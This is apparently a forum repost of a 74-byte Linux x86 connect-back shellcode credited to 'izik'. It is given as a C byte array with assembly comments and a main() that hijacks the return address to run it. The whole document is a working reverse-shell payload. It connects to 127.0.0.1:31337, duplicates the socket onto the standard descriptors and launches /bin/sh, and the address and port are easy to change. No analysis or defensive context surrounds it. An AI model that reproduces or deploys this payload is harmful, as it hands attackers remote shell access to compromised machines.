linux/x86 connect-back shellcode 127.0.0.1:31337/tcp 74 bytes
文章作者：izik[code]/*
* (linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes
* - izik <[email]izik@tty64.org[/email]>
*/
char shellcode[] =
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x99" // cltd
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5b" // pop %ebx
"\x5d" // pop %ebp
"\xbe\x80\xff\xff\xfe" // mov $0xfeffff80,%esi (0xxfeffff80 = ~127.0.0.1)
"\xf7\xd6" // not %esi
"\x56" // push %esi
"\x66\xbd\x69\x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
"\x0f\xcd" // bswap %ebp
"\x09\xdd" // or %ebx,%ebp
"\x55" // push %ebp
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\xb0\x66" // mov $0x66,%al
//
// <_doint>:
//
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x87\xd9" // xchg %ebx,%ecx
"\x5b" // pop %ebx
//
// <_dup2loop>:
//
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x49" // dec %ecx
"\x79\xf9" // jns <_dup2loop>
"\xb0\x0b" // mov $0xb,%al
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\xeb\xdf"; // jmp <_doint>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}[/code]
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